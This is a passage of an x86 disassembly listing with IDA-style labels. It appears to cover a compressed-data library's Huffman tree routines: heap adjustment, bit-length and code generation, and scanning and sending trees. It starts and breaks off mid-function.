		mov	edx, [ebp+arg_0]
		mov	[edx+144Ch], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+144Ch]
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_14]
		mov	[edx+ecx*4+0B54h], eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_10]
		xor	eax, eax
		mov	ax, [edx+ecx*4]
		mov	ecx, [ebp+var_14]
		mov	edx, [ebp+var_10]
		xor	esi, esi
		mov	si, [edx+ecx*4]
		add	eax, esi
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_10]
		mov	[edx+ecx*4], ax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_1C]
		xor	ecx, ecx
		mov	cl, [eax+1450h]
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_14]
		xor	eax, eax
		mov	al, [edx+1450h]
		cmp	ecx, eax
		jl	short loc_4C2776
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_1C]
		xor	edx, edx
		mov	dl, [ecx+1450h]
		mov	[ebp+var_24], edx
		jmp	short loc_4C2787
; ---------------------------------------------------------------------------


loc_4C2776:				; CODE XREF: sub_4C24AE+2B3j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_14]
		xor	ecx, ecx
		mov	cl, [eax+1450h]
		mov	[ebp+var_24], ecx


loc_4C2787:				; CODE XREF: sub_4C24AE+2C6j
		mov	edx, [ebp+var_24]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	[eax+1450h], dl
		mov	ecx, [ebp+var_14]
		mov	edx, [ebp+var_10]
		mov	ax, word ptr [ebp+var_4]
		mov	[edx+ecx*4+2], ax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_10]
		mov	ax, word ptr [ebp+var_4]
		mov	[edx+ecx*4+2], ax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_4]
		mov	[ecx+0B58h], edx
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		push	1
		mov	ecx, [ebp+var_10]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4C284E
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+1448h], 2
		jge	loc_4C266E
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+144Ch]
		sub	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+144Ch], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+144Ch]
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+0B58h]
		mov	[eax+edx*4+0B54h], ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4C29ED
		add	esp, 8
		mov	ecx, [ebp+arg_0]
		add	ecx, 0B34h
		push	ecx
		mov	edx, [ebp+var_18]
		push	edx
		mov	eax, [ebp+var_10]
		push	eax
		call	sub_4C2D20
		add	esp, 0Ch
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_4C24AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C284E	proc near		; CODE XREF: sub_4C24AE+1B0p
					; sub_4C24AE+207p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4+0B54h]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_8]
		shl	eax, 1
		mov	[ebp+var_8], eax


loc_4C286E:				; CODE XREF: sub_4C284E+184j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		cmp	edx, [ecx+1448h]
		jg	loc_4C29D7
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		cmp	ecx, [eax+1448h]
		jge	loc_4C2931
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+edx*4+0B58h]
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	ax, [edx+ecx*4]
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		mov	ecx, [edx+ecx*4+0B54h]
		mov	edx, [ebp+arg_4]
		xor	esi, esi
		mov	si, [edx+ecx*4]
		cmp	eax, esi
		jl	short loc_4C2928
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4+0B58h]
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cx, [eax+edx*4]
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+edx*4+0B54h]
		mov	eax, [ebp+arg_4]
		xor	esi, esi
		mov	si, [eax+edx*4]
		cmp	ecx, esi
		jnz	short loc_4C2931
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*4+0B58h]
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dl, [ecx+eax+1450h]
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+eax*4+0B54h]
		mov	ecx, [ebp+arg_0]
		xor	ebx, ebx
		mov	bl, [ecx+eax+1450h]
		cmp	edx, ebx
		jg	short loc_4C2931


loc_4C2928:				; CODE XREF: sub_4C284E+72j
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx


loc_4C2931:				; CODE XREF: sub_4C284E+3Ej
					; sub_4C284E+A2j ...
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dx, [ecx+eax*4]
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+eax*4+0B54h]
		mov	ecx, [ebp+arg_4]
		xor	esi, esi
		mov	si, [ecx+eax*4]
		cmp	edx, esi
		jl	short loc_4C29A8
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cx, [eax+edx*4]
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+edx*4+0B54h]
		mov	eax, [ebp+arg_4]
		xor	esi, esi
		mov	si, [eax+edx*4]
		cmp	ecx, esi
		jnz	short loc_4C29AA
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx+1450h]
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+eax*4+0B54h]
		mov	ecx, [ebp+arg_0]
		xor	ebx, ebx
		mov	bl, [ecx+eax+1450h]
		cmp	edx, ebx
		jg	short loc_4C29AA


loc_4C29A8:				; CODE XREF: sub_4C284E+107j
		jmp	short loc_4C29D7
; ---------------------------------------------------------------------------


loc_4C29AA:				; CODE XREF: sub_4C284E+12Dj
					; sub_4C284E+158j
		mov	edx, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	esi, [ebp+arg_0]
		mov	ecx, [esi+ecx*4+0B54h]
		mov	[eax+edx*4+0B54h], ecx
		mov	edx, [ebp+var_8]
		mov	[ebp+arg_8], edx
		mov	eax, [ebp+var_8]
		shl	eax, 1
		mov	[ebp+var_8], eax
		jmp	loc_4C286E
; ---------------------------------------------------------------------------


loc_4C29D7:				; CODE XREF: sub_4C284E+2Cj
					; sub_4C284E:loc_4C29A8j
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	[edx+ecx*4+0B54h], eax
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4C284E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C29ED	proc near		; CODE XREF: sub_4C24AE+379p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	esi
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+4]
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		mov	eax, [edx]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		mov	eax, [edx+4]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		mov	eax, [edx+8]
		mov	[ebp+var_2C], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		mov	eax, [edx+10h]
		mov	[ebp+var_8], eax
		mov	[ebp+var_C], 0
		mov	[ebp+var_18], 0
		jmp	short loc_4C2A4D
; ---------------------------------------------------------------------------


loc_4C2A44:				; CODE XREF: sub_4C29ED+76j
		mov	ecx, [ebp+var_18]
		add	ecx, 1
		mov	[ebp+var_18], ecx


loc_4C2A4D:				; CODE XREF: sub_4C29ED+55j
		cmp	[ebp+var_18], 0Fh
		jg	short loc_4C2A65
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+arg_0]
		mov	word ptr [eax+edx*2+0B34h], 0
		jmp	short loc_4C2A44
; ---------------------------------------------------------------------------


loc_4C2A65:				; CODE XREF: sub_4C29ED+64j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+144Ch]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+edx*4+0B54h]
		mov	edx, [ebp+var_10]
		mov	word ptr [edx+ecx*4+2],	0
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+144Ch]
		add	ecx, 1
		mov	[ebp+var_20], ecx
		jmp	short loc_4C2A9C
; ---------------------------------------------------------------------------


loc_4C2A93:				; CODE XREF: sub_4C29ED+117j
					; sub_4C29ED:loc_4C2BACj
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx


loc_4C2A9C:				; CODE XREF: sub_4C29ED+A4j
		cmp	[ebp+var_20], 23Dh
		jge	loc_4C2BB1
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4+0B54h]
		mov	[ebp+var_30], edx
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		mov	dx, [ecx+eax*4+2]
		mov	eax, [ebp+var_10]
		xor	ecx, ecx
		mov	cx, [eax+edx*4+2]
		add	ecx, 1
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_18]
		cmp	edx, [ebp+var_8]
		jle	short loc_4C2AED
		mov	eax, [ebp+var_8]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx


loc_4C2AED:				; CODE XREF: sub_4C29ED+EFj
		mov	edx, [ebp+var_30]
		mov	eax, [ebp+var_10]
		mov	cx, word ptr [ebp+var_18]
		mov	[eax+edx*4+2], cx
		mov	edx, [ebp+var_30]
		cmp	edx, [ebp+var_34]
		jle	short loc_4C2B06
		jmp	short loc_4C2A93
; ---------------------------------------------------------------------------


loc_4C2B06:				; CODE XREF: sub_4C29ED+115j
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+arg_0]
		mov	dx, [ecx+eax*2+0B34h]
		add	dx, 1
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+eax*2+0B34h], dx
		mov	[ebp+var_24], 0
		mov	edx, [ebp+var_30]
		cmp	edx, [ebp+var_2C]
		jl	short loc_4C2B44
		mov	eax, [ebp+var_30]
		sub	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_14]
		mov	edx, [ecx+eax*4]
		mov	[ebp+var_24], edx


loc_4C2B44:				; CODE XREF: sub_4C29ED+146j
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_10]
		mov	dx, [ecx+eax*4]
		mov	word ptr [ebp+var_1C], dx
		mov	eax, [ebp+var_1C]
		and	eax, 0FFFFh
		mov	ecx, [ebp+var_18]
		add	ecx, [ebp+var_24]
		imul	eax, ecx
		mov	edx, [ebp+arg_0]
		mov	ecx, [edx+16A0h]
		add	ecx, eax
		mov	edx, [ebp+arg_0]
		mov	[edx+16A0h], ecx
		cmp	[ebp+var_4], 0
		jz	short loc_4C2BAC
		mov	eax, [ebp+var_1C]
		and	eax, 0FFFFh
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_4]
		xor	esi, esi
		mov	si, [edx+ecx*4+2]
		add	esi, [ebp+var_24]
		imul	eax, esi
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+16A4h]
		add	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+16A4h], edx


loc_4C2BAC:				; CODE XREF: sub_4C29ED+18Ej
		jmp	loc_4C2A93
; ---------------------------------------------------------------------------


loc_4C2BB1:				; CODE XREF: sub_4C29ED+B6j
		cmp	[ebp+var_C], 0
		jnz	short loc_4C2BBC
		jmp	loc_4C2D1B
; ---------------------------------------------------------------------------


loc_4C2BBC:				; CODE XREF: sub_4C29ED+1C8j
					; sub_4C29ED+264j
		mov	ecx, [ebp+var_8]
		sub	ecx, 1
		mov	[ebp+var_18], ecx


loc_4C2BC5:				; CODE XREF: sub_4C29ED+1F5j
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+edx*2+0B34h]
		test	ecx, ecx
		jnz	short loc_4C2BE4
		mov	edx, [ebp+var_18]
		sub	edx, 1
		mov	[ebp+var_18], edx
		jmp	short loc_4C2BC5
; ---------------------------------------------------------------------------


loc_4C2BE4:				; CODE XREF: sub_4C29ED+1EAj
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+arg_0]
		mov	dx, [ecx+eax*2+0B34h]
		sub	dx, 1
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+eax*2+0B34h], dx
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+arg_0]
		mov	cx, [eax+edx*2+0B36h]
		add	cx, 2
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+arg_0]
		mov	[eax+edx*2+0B36h], cx
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		mov	ax, [edx+ecx*2+0B34h]
		sub	ax, 1
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		mov	[edx+ecx*2+0B34h], ax
		mov	eax, [ebp+var_C]
		sub	eax, 2
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jg	loc_4C2BBC
		mov	ecx, [ebp+var_8]
		mov	[ebp+var_18], ecx
		jmp	short loc_4C2C68
; ---------------------------------------------------------------------------


loc_4C2C5F:				; CODE XREF: sub_4C29ED:loc_4C2D16j
		mov	edx, [ebp+var_18]
		sub	edx, 1
		mov	[ebp+var_18], edx


loc_4C2C68:				; CODE XREF: sub_4C29ED+270j
		cmp	[ebp+var_18], 0
		jz	loc_4C2D1B
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+eax*2+0B34h]
		mov	[ebp+var_30], edx


loc_4C2C85:				; CODE XREF: sub_4C29ED+2C3j
					; sub_4C29ED+324j
		cmp	[ebp+var_30], 0
		jz	loc_4C2D16
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+var_20]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*4+0B54h]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_28]
		cmp	ecx, [ebp+var_34]
		jle	short loc_4C2CB2
		jmp	short loc_4C2C85
; ---------------------------------------------------------------------------


loc_4C2CB2:				; CODE XREF: sub_4C29ED+2C1j
		mov	edx, [ebp+var_28]
		mov	eax, [ebp+var_10]
		xor	ecx, ecx
		mov	cx, [eax+edx*4+2]
		cmp	ecx, [ebp+var_18]
		jz	short loc_4C2D08
		mov	edx, [ebp+var_28]
		mov	eax, [ebp+var_10]
		xor	ecx, ecx
		mov	cx, [eax+edx*4+2]
		mov	edx, [ebp+var_18]
		sub	edx, ecx
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_10]
		xor	esi, esi
		mov	si, [ecx+eax*4]
		imul	edx, esi
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+16A0h]
		add	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+16A0h], ecx
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_10]
		mov	dx, word ptr [ebp+var_18]
		mov	[ecx+eax*4+2], dx


loc_4C2D08:				; CODE XREF: sub_4C29ED+2D5j
		mov	eax, [ebp+var_30]
		sub	eax, 1
		mov	[ebp+var_30], eax
		jmp	loc_4C2C85
; ---------------------------------------------------------------------------


loc_4C2D16:				; CODE XREF: sub_4C29ED+29Cj
		jmp	loc_4C2C5F
; ---------------------------------------------------------------------------


loc_4C2D1B:				; CODE XREF: sub_4C29ED+1CAj
					; sub_4C29ED+27Fj
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_4C29ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C2D20	proc near		; CODE XREF: sub_4C24AE+393p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	esi
		mov	word ptr [ebp+var_28], 0
		mov	[ebp+var_4], 1
		jmp	short loc_4C2D3F
; ---------------------------------------------------------------------------


loc_4C2D36:				; CODE XREF: sub_4C2D20+4Fj
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_4C2D3F:				; CODE XREF: sub_4C2D20+14j
		cmp	[ebp+var_4], 0Fh
		jg	short loc_4C2D71
		mov	ecx, [ebp+var_28]
		and	ecx, 0FFFFh
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+arg_8]
		xor	esi, esi
		mov	si, [eax+edx*2-2]
		add	ecx, esi
		shl	ecx, 1
		mov	word ptr [ebp+var_28], cx
		mov	ecx, [ebp+var_4]
		mov	dx, word ptr [ebp+var_28]
		mov	[ebp+ecx*2+var_24], dx
		jmp	short loc_4C2D36
; ---------------------------------------------------------------------------


loc_4C2D71:				; CODE XREF: sub_4C2D20+23j
		mov	[ebp+var_2C], 0
		jmp	short loc_4C2D83
; ---------------------------------------------------------------------------


loc_4C2D7A:				; CODE XREF: sub_4C2D20+81j
					; sub_4C2D20+BEj
		mov	eax, [ebp+var_2C]
		add	eax, 1
		mov	[ebp+var_2C], eax


loc_4C2D83:				; CODE XREF: sub_4C2D20+58j
		mov	ecx, [ebp+var_2C]
		cmp	ecx, [ebp+arg_4]
		jg	short loc_4C2DE0
		mov	edx, [ebp+var_2C]
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+edx*4+2]
		mov	[ebp+var_30], ecx
		cmp	[ebp+var_30], 0
		jnz	short loc_4C2DA3
		jmp	short loc_4C2D7A
; ---------------------------------------------------------------------------


loc_4C2DA3:				; CODE XREF: sub_4C2D20+7Fj
		mov	edx, [ebp+var_30]
		push	edx
		mov	eax, [ebp+var_30]
		xor	ecx, ecx
		mov	cx, [ebp+eax*2+var_24]
		mov	[ebp+var_34], ecx
		mov	edx, [ebp+var_34]
		push	edx
		mov	eax, [ebp+var_30]
		mov	cx, [ebp+eax*2+var_24]
		add	cx, 1
		mov	edx, [ebp+var_30]
		mov	[ebp+edx*2+var_24], cx
		call	sub_4C4A5C
		add	esp, 8
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+arg_0]
		mov	[edx+ecx*4], ax
		jmp	short loc_4C2D7A
; ---------------------------------------------------------------------------


loc_4C2DE0:				; CODE XREF: sub_4C2D20+69j
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_4C2D20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C2DE5	proc near		; CODE XREF: sub_4C20F2+62p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0B14h]
		push	ecx
		mov	edx, [ebp+arg_0]
		add	edx, 8Ch
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4C2E9C
		add	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0B20h]
		push	edx
		mov	eax, [ebp+arg_0]
		add	eax, 980h
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4C2E9C
		add	esp, 0Ch
		mov	edx, [ebp+arg_0]
		add	edx, 0B28h
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4C24AE
		add	esp, 8
		mov	[ebp+var_4], 12h
		jmp	short loc_4C2E50
; ---------------------------------------------------------------------------


loc_4C2E47:				; CODE XREF: sub_4C2DE5:loc_4C2E74j
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx


loc_4C2E50:				; CODE XREF: sub_4C2DE5+60j
		cmp	[ebp+var_4], 3
		jl	short loc_4C2E76
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, byte_4F2594[edx]
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+eax*4+0A76h]
		test	edx, edx
		jz	short loc_4C2E74
		jmp	short loc_4C2E76
; ---------------------------------------------------------------------------


loc_4C2E74:				; CODE XREF: sub_4C2DE5+8Bj
		jmp	short loc_4C2E47
; ---------------------------------------------------------------------------


loc_4C2E76:				; CODE XREF: sub_4C2DE5+6Fj
					; sub_4C2DE5+8Dj
		mov	eax, [ebp+var_4]
		add	eax, 1
		imul	eax, 3
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+16A0h]
		lea	eax, [edx+eax+0Eh]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16A0h], eax
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4C2DE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C2E9C	proc near		; CODE XREF: sub_4C2DE5+1Cp
					; sub_4C2DE5+3Bp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	[ebp+var_18], 0FFFFFFFFh
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cx, [eax+2]
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], 0
		mov	[ebp+var_C], 7
		mov	[ebp+var_10], 4
		cmp	[ebp+var_8], 0
		jnz	short loc_4C2EDE
		mov	[ebp+var_C], 8Ah
		mov	[ebp+var_10], 3


loc_4C2EDE:				; CODE XREF: sub_4C2E9C+32j
		mov	edx, [ebp+arg_8]
		mov	eax, [ebp+arg_4]
		mov	word ptr [eax+edx*4+6],	0FFFFh
		mov	[ebp+var_1C], 0
		jmp	short loc_4C2EFD
; ---------------------------------------------------------------------------


loc_4C2EF4:				; CODE XREF: sub_4C2E9C+9Cj
					; sub_4C2E9C:loc_4C3030j
		mov	ecx, [ebp+var_1C]
		add	ecx, 1
		mov	[ebp+var_1C], ecx


loc_4C2EFD:				; CODE XREF: sub_4C2E9C+56j
		mov	edx, [ebp+var_1C]
		cmp	edx, [ebp+arg_8]
		jg	loc_4C3035
		mov	eax, [ebp+var_8]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	ax, [edx+ecx*4+6]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		cmp	edx, [ebp+var_C]
		jge	short loc_4C2F3A
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+var_8]
		jnz	short loc_4C2F3A
		jmp	short loc_4C2EF4
; ---------------------------------------------------------------------------


loc_4C2F3A:				; CODE XREF: sub_4C2E9C+92j
					; sub_4C2E9C+9Aj
		mov	ecx, [ebp+var_4]
		cmp	ecx, [ebp+var_10]
		jge	short loc_4C2F67
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+arg_0]
		mov	cx, [eax+edx*4+0A74h]
		add	cx, word ptr [ebp+var_4]
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+arg_0]
		mov	[eax+edx*4+0A74h], cx
		jmp	loc_4C2FE7
; ---------------------------------------------------------------------------


loc_4C2F67:				; CODE XREF: sub_4C2E9C+A4j
		cmp	[ebp+var_14], 0
		jz	short loc_4C2FAF
		mov	ecx, [ebp+var_14]
		cmp	ecx, [ebp+var_18]
		jz	short loc_4C2F95
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+arg_0]
		mov	cx, [eax+edx*4+0A74h]
		add	cx, 1
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+arg_0]
		mov	[eax+edx*4+0A74h], cx


loc_4C2F95:				; CODE XREF: sub_4C2E9C+D7j
		mov	ecx, [ebp+arg_0]
		mov	dx, [ecx+0AB4h]
		add	dx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+0AB4h], dx
		jmp	short loc_4C2FE7
; ---------------------------------------------------------------------------


loc_4C2FAF:				; CODE XREF: sub_4C2E9C+CFj
		cmp	[ebp+var_4], 0Ah
		jg	short loc_4C2FCF
		mov	ecx, [ebp+arg_0]
		mov	dx, [ecx+0AB8h]
		add	dx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+0AB8h], dx
		jmp	short loc_4C2FE7
; ---------------------------------------------------------------------------


loc_4C2FCF:				; CODE XREF: sub_4C2E9C+117j
		mov	ecx, [ebp+arg_0]
		mov	dx, [ecx+0ABCh]
		add	dx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+0ABCh], dx


loc_4C2FE7:				; CODE XREF: sub_4C2E9C+C6j
					; sub_4C2E9C+111j ...
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_18], ecx
		cmp	[ebp+var_8], 0
		jnz	short loc_4C300A
		mov	[ebp+var_C], 8Ah
		mov	[ebp+var_10], 3
		jmp	short loc_4C3030
; ---------------------------------------------------------------------------


loc_4C300A:				; CODE XREF: sub_4C2E9C+15Cj
		mov	edx, [ebp+var_14]
		cmp	edx, [ebp+var_8]
		jnz	short loc_4C3022
		mov	[ebp+var_C], 6
		mov	[ebp+var_10], 3
		jmp	short loc_4C3030
; ---------------------------------------------------------------------------


loc_4C3022:				; CODE XREF: sub_4C2E9C+174j
		mov	[ebp+var_C], 7
		mov	[ebp+var_10], 4


loc_4C3030:				; CODE XREF: sub_4C2E9C+16Cj
					; sub_4C2E9C+184j
		jmp	loc_4C2EF4
; ---------------------------------------------------------------------------


loc_4C3035:				; CODE XREF: sub_4C2E9C+67j
		mov	esp, ebp
		pop	ebp
		retn
sub_4C2E9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C3039	proc near		; CODE XREF: sub_4C20F2+373p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	[ebp+var_8], 5
		mov	eax, 10h
		sub	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		cmp	[ecx+16B4h], eax
		jle	loc_4C312A
		mov	edx, [ebp+arg_4]
		sub	edx, 101h
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	ecx, [eax+16B4h]
		shl	edx, cl
		mov	eax, [ebp+arg_0]
		mov	cx, [eax+16B0h]
		or	cx, dx
		mov	edx, [ebp+arg_0]
		mov	[edx+16B0h], cx
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+16B0h]
		and	ecx, 0FFh
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	[eax+edx], cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+14h], ecx
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+16B0h]
		sar	ecx, 8
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	edx, [ebp+arg_0]
